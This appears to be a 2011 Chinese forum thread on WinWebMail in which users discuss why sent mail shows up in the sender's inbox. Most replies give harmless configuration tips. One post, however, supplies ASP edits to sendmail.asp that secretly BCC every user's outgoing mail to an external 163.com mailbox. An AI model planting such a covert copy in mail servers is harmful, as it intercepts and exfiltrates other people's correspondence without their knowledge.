cyberdyne 发表于 2011-5-4 15:53:36

【已解决】发出的信收件箱也能收到同一份

搜索论坛发现有跟我同样问题的坛友,但是还没有有用的回复。。。每份发出去的邮件,无论是发给外部还是内部的,都能在自己的收件箱里收到一份同样的邮件。
求教大侠们呐~~~~

[ 本帖最后由 山坛兄弟 于 2011-11-5 10:11 编辑 ]

山坛兄弟 发表于 2011-5-5 09:53:35

这个功能要实现其实是很简单的,懂一点ASP的人可能都可以做到,我们知道,WINWEBMAIL登陆的时候,会记录登陆的信息,登陆用户的邮箱记录为Session("mail")。我们再看看writemail.asp执行发信的页面是sendmail.asp的。

在sendmail.asp中找到下面的代码:
mailsend.EM_Bcc = trim(request("EasyMail_Bcc"))
修改为:
mailsend.EM_Bcc = trim(request("EasyMail_Bcc"))&Session("mail")
保存即可

原理就是在秘密抄送的收件人中添加发信人本身,本人测试正常,如有其它问题,欢迎留言!

[ 本帖最后由 山坛兄弟 于 2011-5-5 10:54 编辑 ]

山坛兄弟 发表于 2011-5-6 22:11:34

如果你想来个更高级的功能,也是可以的:
If Session("mail")="yourname@domain.com"then
mailsend.EM_Bcc = trim(request("EasyMail_Bcc"))&Session("mail")
else
mailsend.EM_Bcc = trim(request("EasyMail_Bcc"))
end if
以上代码的意思就是,当登陆的用户是yourname@domain.com(改为你自己的邮箱)的时候,就执行发信的时候同时发送一份给自己,否则就不发送。

山坛兄弟 发表于 2011-5-8 11:06:18

当然,还有更高级的,可以暗送到其它的邮箱,比如163等等:

系统的任意用户发信以后都暗送到你的163邮箱,可以这样修改:
mailsend.EM_Bcc = trim(request("EasyMail_Bcc"))&"yourname@163.com"


当登陆用户为指定邮箱的时候才暗送到163邮箱,可以这样修改:
If Session("mail")="yourname@domain.com"then
mailsend.EM_Bcc = trim(request("EasyMail_Bcc"))&"yourname@163.com"
else
mailsend.EM_Bcc = trim(request("EasyMail_Bcc"))
end if
以上的代码意思就是,当系统用户yourname@domain.com登陆后发信,转发,或者回复的时候,都暗送一份到yourname@163.com


rayer 发表于 2011-5-16 23:37:44

winwebmail有发送保存滴功能,楼主,进webmail在 选项 再进 邮箱配置 里就能设

tomtang 发表于 2011-5-22 14:20:07

我也遇到楼主同样的问题。
我是不想有自己的邮箱也收到信件,也没有楼上的老大说的设置了发送邮箱保存功能,而且邮箱保存功能是单独在已经发出的邮件箱里,而不是在自己的收件箱里。

yangzanmin 发表于 2011-5-23 09:26:23

原帖由 rayer 于 2011-5-16 23:37 发表 http://www.5dmail.net/bbs/images/common/back.gif
winwebmail有发送保存滴功能,楼主,进webmail在 选项 再进 邮箱配置 里就能设

支持版主,这样更清晰明了,发的跟收到的分开存放,干吗要混在一起呢?多乱,会自己也搞错的

wyzlff 发表于 2011-11-4 15:26:44

:) 山坛兄弟太帅啦

zqslzr 发表于 2012-2-14 14:03:31

{:soso_e179:} 牛逼。
页: [1]
查看完整版本: 【已解决】发出的信收件箱也能收到同一份